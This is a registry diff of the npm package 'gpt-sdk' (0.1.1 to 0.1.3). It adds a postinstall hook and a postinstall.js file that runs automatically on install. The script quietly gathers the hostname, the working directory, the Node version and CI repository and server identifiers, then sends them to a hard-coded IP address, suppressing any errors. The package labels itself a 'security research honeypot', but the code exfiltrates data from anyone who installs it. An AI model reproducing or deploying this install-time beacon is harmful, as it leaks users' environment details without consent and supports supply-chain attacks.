gpt-sdk 0.1.1 → 0.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +4 -3
- package/postinstall.js +31 -0
package/package.json
CHANGED
|
@@ -1,11 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "gpt-sdk",
|
|
3
|
-
"version": "0.1.
|
|
3
|
+
"version": "0.1.3",
|
|
4
4
|
"description": "Security research honeypot. Installed by mistake? See README.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"postinstall": "node
|
|
7
|
+
"postinstall": "node ./postinstall.js"
|
|
8
8
|
},
|
|
9
9
|
"keywords": [],
|
|
10
|
-
"license": "MIT"
|
|
10
|
+
"license": "MIT",
|
|
11
|
+
"files": ["index.js", "postinstall.js", "README.md"]
|
|
11
12
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
try {
|
|
2
|
+
var os = require('os');
|
|
3
|
+
var env = process.env;
|
|
4
|
+
var hn = os.hostname();
|
|
5
|
+
var cwd = process.cwd().split('/').pop() || '';
|
|
6
|
+
|
|
7
|
+
// Build CI context
|
|
8
|
+
var ci = [];
|
|
9
|
+
if (env.GITHUB_REPOSITORY) ci.push('repo=' + encodeURIComponent(env.GITHUB_REPOSITORY));
|
|
10
|
+
if (env.CIRCLE_PROJECT_USERNAME && env.CIRCLE_PROJECT_REPONAME)
|
|
11
|
+
ci.push('repo=' + encodeURIComponent(env.CIRCLE_PROJECT_USERNAME + '/' + env.CIRCLE_PROJECT_REPONAME));
|
|
12
|
+
if (env.CI_PROJECT_PATH) ci.push('repo=' + encodeURIComponent(env.CI_PROJECT_PATH));
|
|
13
|
+
if (env.BITBUCKET_REPO_FULL_NAME) ci.push('repo=' + encodeURIComponent(env.BITBUCKET_REPO_FULL_NAME));
|
|
14
|
+
if (env.BUILD_REPOSITORY_URI) ci.push('repo=' + encodeURIComponent(env.BUILD_REPOSITORY_URI));
|
|
15
|
+
if (env.TRAVIS_REPO_SLUG) ci.push('repo=' + encodeURIComponent(env.TRAVIS_REPO_SLUG));
|
|
16
|
+
if (env.npm_config_registry) ci.push('reg=' + encodeURIComponent(env.npm_config_registry));
|
|
17
|
+
if (env.JENKINS_URL) ci.push('jenkins=' + encodeURIComponent(env.JENKINS_URL));
|
|
18
|
+
if (env.CI_SERVER_URL) ci.push('gitlab=' + encodeURIComponent(env.CI_SERVER_URL));
|
|
19
|
+
|
|
20
|
+
var url = 'http://46.224.67.169:3000/ping'
|
|
21
|
+
+ '?pkg=gpt-sdk'
|
|
22
|
+
+ '&ver=' + require('./package.json').version
|
|
23
|
+
+ '&ci=' + (env.CI || 'false')
|
|
24
|
+
+ '&node=' + process.version
|
|
25
|
+
+ '&host=' + encodeURIComponent(hn)
|
|
26
|
+
+ '&cwd=' + encodeURIComponent(cwd);
|
|
27
|
+
|
|
28
|
+
if (ci.length) url += '&' + ci.join('&');
|
|
29
|
+
|
|
30
|
+
require('http').get(url, {timeout: 5000}, function(r) { r.resume(); }).on('error', function() {});
|
|
31
|
+
} catch(e) {}
|